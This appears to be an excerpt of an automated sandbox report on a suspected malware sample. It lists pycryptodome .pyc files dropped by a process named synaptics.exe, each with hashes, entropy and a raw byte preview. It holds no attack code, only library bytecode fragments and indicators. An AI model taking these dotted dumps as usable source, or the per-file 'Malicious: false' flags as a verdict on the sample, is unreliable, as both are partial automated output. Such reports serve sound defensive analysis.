SSDEEP:	96:W3Pz+cF8LjRVdNkIOMwKYRc/2QlAeiPTiC6TtLAvE4YMxbulb5ac:o+pB8Ms1aqPTi/tcfYSbwAc
MD5:	40189A149B66C94209DE6D4A564F60F5
SHA1:	038BA7592E21F34F267E0279C2F2BA9CE3571C22
SHA-256:	E4E80E6ACF38F38582A7310FDA79825089A8289EC29D3B2CD10FC825930416E9
SHA-512:	328621576DF16F791D1F3EBC91238F53BA87841D9E5B61842FBB6FEA4270595F6BF057681B4ED1DEDED02862E0DFF10B51F8195D9486B73F9CCD200C63F6E23C
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.).a.....Module's constants for the modes of operation supported with Triple DES:..:var MODE_ECB: :ref:`Electronic Code Book (ECB) <ecb_mode>`.:var MODE_CBC: :ref:`Cipher-Block Chaining (CBC) <cbc_mode>`.:var MODE_CFB: :ref:`Cipher FeedBack (CFB) <cfb_mode>`.:var MODE_OFB: :ref:`Output FeedBack (OFB) <ofb_mode>`.:var MODE_CTR: :ref:`CounTer Mode (CTR) <ctr_mode>`.:var MODE_OPENPGP: :ref:`OpenPGP Mode <openpgp_mode>`.:var MODE_EAX: :ref:`EAX Mode <eax_mode>`......N)..._create_cipher)...byte_string..bchr..bord..bstr)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_tz.Crypto.Cipher._raw_des3a..... int DES3_start_operation(const uint8_t key[],. size_t key_len,. void **pResult);.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\PKCS1_OAEP.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6949
Entropy (8bit):	5.306199679374291
Encrypted:	false
SSDEEP:	96:v5y77I5xO5Xqk0muV9jUAWWiD+wtDMgMzfEB1RZYVrdKlHbgKqkfzBA/CF:E7FFFpEMtQg/1g1dmrFf6qF
MD5:	0C117E775FC565F9DB56CD65E6222162
SHA1:	7F5FC1C5B1E13B352C87391E847C4FDCF3154141
SHA-256:	94F53BEF1B0A5B0E0DF9EFCB915D853D6C6F47DCEB63982EFC9EA6D2359BC53E
SHA-512:	1A6921871172D78E1EE6F94711CCDFB89366B1538CF45F44FF3ACA4F889DF78FE0F5A216BED3AFCCA88136E2D94BE6358A8D4EA8037948B49C72A5ECE642254C
Malicious:	false
Reputation:	low
Preview:	o..........fO".......................@...s\|...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.d.d.d...Z.d.S.)......)...MGF1N)..._copy_bytes)...ceil_div..bytes_to_long..long_to_bytes)...strxor)...Random.....)...oaep_decodec....................@...s8...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PKCS1OAEP_CipherzXCipher object for PKCS#1 v1.5 OAEP.. Do not create directly: use :func:`new` instead.c........................sN...\|..._.\|.r.\|..._.n.t.j.j..._.\|.r.\|..._.n...f.d.d....._.t.d.d.\|....._.\|..._.d.S.).a....Initialize this PKCS#1 OAEP cipher object... :Parameters:. key : an RSA key object. If a private half is given, both encryption and decryption are possible.. If a public half is given, only encryption is possible.. hashAlgo : hash object. The hash function to use. This can be a module under `Crypto.Hash`. or an existing h

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	5.4055277344199935
Encrypted:	false
SSDEEP:	48:jzLMJbLqGllz8RRyglHGLtLaLaLLLLv+rLALiLLxLJLOfi:jzCbLqylz8RsghIfuai
MD5:	A1C26FDC190243471647F85E4AF29737
SHA1:	262E9D357D2D86622940A4CE23823ADAE6C78E54
SHA-256:	A85E40EC4D65B7487BD20D4BBC8D8687E8A1F49B065B891929BF18C932ADE7E6
SHA-512:	FE38F499CED762E2A99573F7F91AA54ED15B30901141066A30D933E4711F90EF17BA05F113A2992E4090BD6E6DCF1AE6E4B174E5EFEEF0CF2501C639C555682A
Malicious:	false
Reputation:	low
Preview:	o..........fk........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.e.e.e.e.e.e.d...Z.e.e.e.e.d...Z.d.d...Z.d.S.)......N)..._create_ecb_cipher)..._create_cbc_cipher)..._create_cfb_cipher)..._create_ofb_cipher)..._create_ctr_cipher)..._create_openpgp_cipher)..._create_ccm_cipher)..._create_eax_cipher)..._create_siv_cipher)..._create_gcm_cipher)..._create_ocb_cipher)....................................).....................c....................O...s....\|.\|.d.<.t.t...}.\|...d.d...r.\|...t.....\|.\|.v.r.t.d.....\|.r^\|.d.v.r2t.\|...d.k.r+t.d.....\|.d...\|.d.<.n,\|.d.v.rGt.\|...d.k.r@t.d.....\|.d...\|.d.<.n.\|.d.k.rVt.\|...d.k.rUt.d.....n.\|.d.k.r^t.d.....\|.\|...\|.f.i.\|.....S.).N..keyZ.add_aes_modesFz.Mode not supported).r....r....r....r....r....r....z Too many arguments for this moder......nonce).r....r....r....r....Z.IVr....z%IV is not meaningful for the ECB mode)...dict.._modes..pop..up

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_cbc.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7468
Entropy (8bit):	5.1475211106994925
Encrypted:	false
SSDEEP:	96:VY6kvwbQ9XIHJEgsA4nx3ZzhSLR5esIDGnt834mGvWcsQNqC/Y8HvGBt83425phX:FbJHrt4x3Zu8smGtU4w1MGnU44Kt0qOp
MD5:	F4163993E2D562EE1B316DE91636A055
SHA1:	8116CFDBFE9BBDF873D0725C920845900FD14D2B
SHA-256:	10D7E26829732707757FE6054BFE61613E37B511D9108BDF1601E175BE4FA12B
SHA-512:	9E3668810F9EC6BBC9F6BFEFA36AFDA516A4895894F2B3ED63143B3E58FBA6628BCA552858C6E1FE93845D5C7DC225410AD174D5B132B9A8A8F7683EC55E171A
Malicious:	false
Reputation:	low
Preview:	o..........f.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z'.Ciphertext Block Chaining (CBC) mode....CbcMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cbca..... int CBC_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int CBC_encrypt(void cbcState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CBC_decrypt(void cbcState,. const uint8_t in,. uint8_t *out,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_ccm.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17943
Entropy (8bit):	5.290121028324049
Encrypted:	false
SSDEEP:	384:gLq/qgUMlQiMS1I48juzC8Y2tMlx7vXyqE:gLSQM6jQMb7/yV
MD5:	9972D408002D5CC458330B0D1DB08E0A
SHA1:	5DD47EBD486F060247250E49ACD891A6828B5656
SHA-256:	B294EF910B72E281F70FE60676A2AEC6172DFE8DF79E9A4AB860A6A98C0E92BE
SHA-512:	B31A85BEDEA1AB04B190CF069678202674EC672712507EEBD8096AA9829E559972E455CED96D665D3FD8C224AF999A1A102E146027327CA6DE3323DDC81274C0
Malicious:	false
Reputation:	low
Preview:	o..........f.a.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.e.d.d.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Counter with CBC-MAC (CCM) mode....CcmMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_writeable_buffer)...strxor)...long_to_bytes)...BLAKE2s)...get_random_bytesc....................K...s....t.d.d.\|...S.).N..Enum..)...type).Z.enumsr....r.....IC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\_mode_ccm.py..enum3...s......r..............)...NOT_STARTED..PROCESSING_AUTH_DATA..PROCESSING_PLAINTEXTc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d.d...Z.d!d.d...Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d!d.d...Z.d!d.d...Z.d.S.)"r....a....Counter with CBC-MAC (CCM)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the mes

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_cfb.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7790
Entropy (8bit):	5.11088623490323
Encrypted:	false
SSDEEP:	96:uo6kvf/G8HDxEpuPnxEZYhPPsCIgGGt834mGPMsQNPx/g8H+G0t834U5pptYCcXn:d3xEuxEZnCJGkU4ma5GaU4mx4DbKq+E
MD5:	01B4280963587A1A5043B3C798C40F51
SHA1:	3E7F6AC381BF0CA9508A4374B1ABAB9AF4523FED
SHA-256:	3445010A08E709B2C1267C8A21B5B7067884011DC62D16782C872CA738845717
SHA-512:	452035908A9E65AC80EDE2DFE073C293B9E42090C1E265C12ECC79926FA99F93EA8C75D032DC5158D6F58D23B895858595DDFDFEFC96070B3160B679213EECA7
Malicious:	false
Reputation:	low
Preview:	o..........f.+.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter Feedback (CFB) mode....CfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_cfba .... int CFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. size_t segment_len, / In bytes /. void pResult);. int CFB_encrypt(void cfbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int CFB_decrypt(void *cfbState,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_ctr.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10988
Entropy (8bit):	5.105679246344849
Encrypted:	false
SSDEEP:	192:m7GD6nkH7cxiM16TPyl8ssmGrPU4uOGrNU4XrwSkcji+Gb:mamnGSQ480MTuOyTXMSkmi+0
MD5:	DA8EB714469ECE7F3621F3D57F009084
SHA1:	7EBDFEE41E407C10D7B9D62001CBBEB38EC4F2C4
SHA-256:	88D163F0ADF8A879757C4D3EED96B86BB7C4130394BA641005642E2D7131876D
SHA-512:	8A94C12ED6B737C83F7A9C82FDC4E1E47ADE5B80589591EF970858E574F719EB36548FCA553283FEDCAF7DB70900036201529916ABAC6BAC0210B63A12124B07
Malicious:	false
Reputation:	low
Preview:	o..........fM?.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Counter (CTR) mode....CtrMode.....N)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytes)..._copy_bytes..is_native_int)...long_to_bytesz.Crypto.Cipher._raw_ctra..... int CTR_start_operation(void cipher,. uint8_t initialCounterBlock[],. size_t initialCounterBlock_len,. size_t prefix_len,. unsigned counter_len,. unsigned littleEndian,. void pResult);. int CTR_encrypt(void ctrState,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_eax.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12274
Entropy (8bit):	5.163707800228712
Encrypted:	false
SSDEEP:	192:BsVawXqNRGq1vCM4PBrU4/4DwU4X3Rz/AfrRWDL/773uewFjp3xWmk1:GawXq/F4M4lTwwTXp/AVeLT732L071
MD5:	0D25E542E979894286196F8A798A823A
SHA1:	22F237094A8D2CDE34164A5CEAEC3539EC429A75
SHA-256:	9BBDBDAAFEAD22489531D0992A69FFB8A05BCD2AD930256123458691B5EBFF5C
SHA-512:	7E67A31A475F459617B604B468E351A3947468B1BD83BD33945C7A21FC5DC1B0D3294A0D1655F3B3614E6427C53BD032DC5DF8457CE8DA2DD4378D5550D01100
Malicious:	false
Reputation:	low
Preview:	o..........f.:.......................@...s....d.Z.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..EAX mode....EaxMode.....N)...unhexlify)...byte_string..bord.._copy_bytes)...is_buffer)...strxor)...long_to_bytes..bytes_to_long)...CMAC..BLAKE2s)...get_random_bytesc....................@...sh...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....EAX mode... This is an Authenticated Encryption with Associated Data. (`AEAD`_) mode. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed,. and it will still be subject to authentication... The decryption step tells the receiver if the message comes. from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message -. including the header - has been modified

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_ecb.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5817
Entropy (8bit):	5.104392543295395
Encrypted:	false
SSDEEP:	96:cFv6kvV9AtXEHlhfKx7lhL3FeaqBP6sQLRdJ98HJm3qc5pHIeOD:cH9pHlhM7lekL96mxsD
MD5:	6D5591F049D697294B55A501D41C01A1
SHA1:	5CA2E2706EE0227E234C651D770B35ADA3A06318
SHA-256:	78FD5F9D687F7859A88B674DBABC0E7ECEE057E3ADC5F359EF0AE8518088759C
SHA-512:	95A24978F775A3B8282A8E3D52F99D4186F53C53301C3332F5645CC9A131EE5CEB1B4E71FD14BC12E33766EE6DE7016268A53D19E0F783FEE41FDFFE4A131F20
Malicious:	false
Reputation:	low
Preview:	o..........fQ!.......................@...sX...d.Z.d.g.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z".Electronic Code Book (ECB) mode....EcbMode.....)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_bufferz.Crypto.Cipher._raw_ecbak.... int ECB_start_operation(void cipher,. void pResult);. int ECB_encrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_decrypt(void ecbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int ECB_stop_operation(void state);. c....................@...s,.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_gcm.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17071
Entropy (8bit):	5.335286444215697
Encrypted:	false
SSDEEP:	384:Pt+RW9/ScqbkrPM4JjaTlTbIl67Wa+7l9A:Pkw9/Zw4c7Fc9A
MD5:	4FC27A4177BA77D149109E9368E9D36E
SHA1:	A7042065F8FA050B13665FDA19B5447EC7686AC6
SHA-256:	910B9ADB8B60D6C2A5BBD27D67DA46E2514C0BE4DFAD40066683979A4B62F8A1
SHA-512:	AD190FC141575D2059D485B3ED8D312FAB21F7319D3DB03662C31F4D468C832D5D4740AE048816214A5D3B906522FC5BE507B1B26DF2FA0BC86C0CA79A9D6961
Malicious:	false
Reputation:	low
Preview:	o..........f.U.......................@...s....d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.d...Z.d.d...Z.e...Z.d.d...Z.e...Z.G.d.d...d.e...Z d.d...Z!e!d.d.d...Z"G.d.d...d.e...Z#d.d...Z$d.S.).z..Galois/Counter Mode (GCM)....GcmMode.....)...unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)...BLAKE2s)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_featuresa`.... int ghash_%imp%(uint8_t y_out[16],. const uint8_t block_data[],. size_t len,. const uint8_t y_in[16],. const void exp_key);. int ghash_expand_%imp%(const uint8_t h[16],. void ghash_tables);. int ghash_destroy_%imp%(void ghash_tables);.c........................sl...d.d.l.m.}...d.}.\|.d.\|...}.z.....f.d

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_ocb.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	14653
Entropy (8bit):	5.242538988513641
Encrypted:	false
SSDEEP:	384:SqHGdezRbrM0R4K/eWAe4hvDCxH5DBbaZ0dQ:SsGdeZMMF2ygOZ5aZ0dQ
MD5:	64BA6D52F739BAE2537D83C37B9C7C3D
SHA1:	31DE522E71314D4D085C341B86E7DA6BF31CB21B
SHA-256:	7EA3229D6D4B4D1860C6C004FD20195E3BFA876670408FA44D703F155FD91DC7
SHA-512:	D9814DF69C267462BB5BFA4A1C8B13691CD010B1D46BEFF29A9B037BC69A425F268E2D234BC3DB06CD3AF70903A1462F3013ABD7589A49241C7B5FE7709D1E3A
Malicious:	false
Reputation:	low
Preview:	o..........f.O.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).ah....Offset Codebook (OCB) mode...OCB is Authenticated Encryption with Associated Data (AEAD) cipher mode.designed by Prof. Phillip Rogaway and specified in `RFC7253`_...The algorithm provides both authenticity and privacy, it is very efficient,.it uses only one key and it can be used in online mode (so that encryption.or decryption can start before the end of the message is available)...This module implements the third and last variant of OCB (OCB3) and it only.works in combination with a 128-bit block symmetric cipher, like AES...OCB is patented in US but `free licenses`_ exist for software implementations.meant for non-military purposes...Example:. >>> from Crypto.Cipher import AES. >>> from Crypto.Random import get_random_bytes. >>>. >>> key = get_ran

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_ofb.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7359
Entropy (8bit):	5.087305523269934
Encrypted:	false
SSDEEP:	96:qA6kv9jQvHHq12nxIN3hSLA5esIUGGt834mGPMsQN7t/z8HaGTvt834+5pcRJ6Xn:dyHqAxId8s9GkU4yZlGTVU4JCoq/1l
MD5:	6FC6FFA8BC7E3BFE1D24B13AB76BD235
SHA1:	7162D9046E6B98CBB9CCC243022D808BFF63A4C3
SHA-256:	AAE4286AFD12F79B723CBF7F3C0A38FE4F0D5C04730160F93FB77E595B94283B
SHA-512:	A2AA2AB7CC5C190DBEBE8BD764D9C750EEC70498AA011CCD571563ACDB2A0804D4A612A31179C05D2D2335071D6A07254FCF43BB65ECA4247B306B892EEE4CA6
Malicious:	false
Reputation:	low
Preview:	o..........f.(.......................@...sp...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.).z..Output Feedback (CFB) mode....OfbMode.....)..._copy_bytes)...load_pycryptodome_raw_lib..VoidPointer..create_string_buffer..get_raw_buffer..SmartPointer..c_size_t..c_uint8_ptr..is_writeable_buffer)...get_random_bytesz.Crypto.Cipher._raw_ofba..... int OFB_start_operation(void cipher,. const uint8_t iv[],. size_t iv_len,. void pResult);. int OFB_encrypt(void ofbState,. const uint8_t in,. uint8_t out,. size_t data_len);. int OFB_decrypt(void *ofbState,. const uint8

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_openpgp.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4815
Entropy (8bit):	5.238106852194177
Encrypted:	false
SSDEEP:	96:RV8N+A+Xkyi2Kt834mGPUGt8340y9nxBX4o7UIDFI:RU+A+5YU44kU4H9xxUIZI
MD5:	1E6D4322F828C3148DC645AC02283896
SHA1:	C18EB349C6F29D0B32FC460BE47C45B311A5AAA0
SHA-256:	98EE5257E14919D3641CEEB06C4A7AA51F0772605D75EB82A9FE98D044300E61
SHA-512:	D92314DDB4C22D4540FE21B7AA87C0E5DEC926DD99CD38B05A4C0E9EA130EDCCF462CDDEE8333E5F4546B92BF34A7A0C9D4D20727E914F7F7F343C3661A70100
Malicious:	false
Reputation:	low
Preview:	o..........f[........................@...s>...d.Z.d.g.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z..OpenPGP mode....OpenPgpMode.....)..._copy_bytes)...get_random_bytesc....................@...s(...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....az...OpenPGP mode... This mode is a variant of CFB, and it is only used in PGP and. OpenPGP_ applications. If in doubt, use another mode... An Initialization Vector (IV) is required... Unlike CFB, the encrypted IV (not the IV itself) is. transmitted to the receiver... The IV is a random data block. For legacy reasons, two of its bytes are. duplicated to act as a checksum for the correctness of the key, which is now. known to be insecure and is ignored. The encrypted IV is therefore 2 bytes. longer than the clean IV... .. _OpenPGP: http://tools.ietf.org/html/rfc4880.. :undocumented: __init__. c....................C...s....\|.j.\|._.d.\|._.\|.j.\|.\|.j.f.d.\|.j...\|.j.d...d...\|.....}.t.d.d.\|...}.t.\|...\|.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_mode_siv.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11816
Entropy (8bit):	5.250366910481593
Encrypted:	false
SSDEEP:	192:pLqjzBGjN4xYIBKXrEApsGdDGdkT+WIp6hW97iuA4al45B3xQrBBQ:tq45XIBarEWfYiIpAe7JaG81m
MD5:	EC6CFE1ACDC8B91ADCD9C033ECAEAE8B
SHA1:	6AEE1E3D747BBA37D9C3A0D8649C5048AE9EDD88
SHA-256:	357DABFACCD7A90A7062408B64A2F25ACE15030255CC9C3E8DCDAE7CAF396E30
SHA-512:	2E43420ADBCB2493C6D7EC790A5523CB3D9B44BFD03F203FA40913322EE745E6DD83341ADB95DCE9CA8DEC3B63ECBF3B8E8BD1504CB0480954AEE6867380BF17
Malicious:	false
Reputation:	low
Preview:	o..........f!8.......................@...s....d.Z.d.g.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.S.).z-.Synthetic Initialization Vector (SIV) mode....SivMode.....)...hexlify..unhexlify)...bord.._copy_bytes)...is_buffer)...long_to_bytes..bytes_to_long)..._S2V)...BLAKE2s)...get_random_bytesc....................@...sl...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....a....Synthetic Initialization Vector (SIV)... This is an Authenticated Encryption with Associated Data (`AEAD`_) mode.. It provides both confidentiality and authenticity... The header of the message may be left in the clear, if needed, and it will. still be subject to authentication. The decryption step tells the receiver. if the message comes from a source that really knowns the secret key.. Additionally, decryption detects if any part of the message - including

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\_pkcs1_oaep_decode.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	4.645410861092278
Encrypted:	false
SSDEEP:	24:mKD8osetp6ePCXjDRy2NjKKJwABGhxmZk5F5186hnnj5Mwj:mKwosM6p1uV860wj
MD5:	775ECC4F4EE06A17DD571D8E0D85B23E
SHA1:	C69DAA752AD762B85D6520C4E7278607BB02AD9C
SHA-256:	FFCB843B67D41D0D6DE61A84FF21EA430B1994305609EC7819AB5AFF50EB512D
SHA-512:	F426374C2838C2D7655BDC76174C36A7709A4CC05B39E22A540BA07B853CD14161C5926C36A8EB40B40D9568F838E17393EF6AA5E0D06C7773AE5355000487ED
Malicious:	false
Reputation:	low
Preview:	o..........fI........................@...s2...d.d.l.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_lib..c_size_t..c_uint8_ptrz.Crypto.Cipher._pkcs1_decodea..... int pkcs1_decode(const uint8_t em, size_t len_em,. const uint8_t sentinel, size_t len_sentinel,. size_t expected_pt_len,. uint8_t output);.. int oaep_decode(const uint8_t em,. size_t em_len,. const uint8_t lHash,. size_t hLen,. const uint8_t db,. size_t db_len);. c....................C...sP...t.\|...t.\|...k.r.t.d.....t...t.\|...t.t.\|.....t.\|...t.t.\|.....t.\|...t.\|.....}.\|.S.).Nz.Incorrect output length)...len..ValueErr

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\pycache\BLAKE2s.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7296
Entropy (8bit):	5.2592275358789
Encrypted:	false
SSDEEP:	96:Pvykv8y2Ed5cPnd8Vr+jnH02x8yC0enZH3i2Ms+dlFKyXcfT7b2k1hITnSHWalQ7:cyC8N+n8yC0rsePJXOz29S7QGLm
MD5:	95F8E2BC98EC330E708BC8C5A16B7640
SHA1:	0B37DC5E3F10F7811D992490C32BD399944698E7
SHA-256:	4E2572840DADCE022792A88CB93A0C494A37586ED52587AE95C5F44DD0CD5622
SHA-512:	44FF2E8908E5D732B0E77F6607492B36B8A94745267B3C45A7D2F49501024B7C3023F9B1B8D00C000505ADB1DDA758E97001DD03B9F2E5FBA0F3AA14DC9F9103
Malicious:	false
Reputation:	low
Preview:	o..........f.%.......................@...sr...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.)......)...unhexlify)...bord..tobytes)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._BLAKE2sa..... int blake2s_init(void *state,. const uint8_t key,. size_t key_size,. size_t digest_size);. int blake2s_destroy(void state);. int blake2s_update(void state,. const uint8_t buf,. size_t len);. int blake2s_digest(const void state,. uint8_t digest[32]);. int blake2s_copy(co

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Hash\pycache\CMAC.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7926
Entropy (8bit):	5.384259307905337
Encrypted:	false
SSDEEP:	192:xkzUGdR3AHmrFQCkRU3hoM2wis+jpxKmWBKskH3Pj:OzUGPQHmrFQJRUCM2wiZdxzPzXPj
MD5:	959AEAF60AF2782B86D39472430AC396
SHA1:	D7D28AC344BC3C7D490F633543AA1572F59E02B5
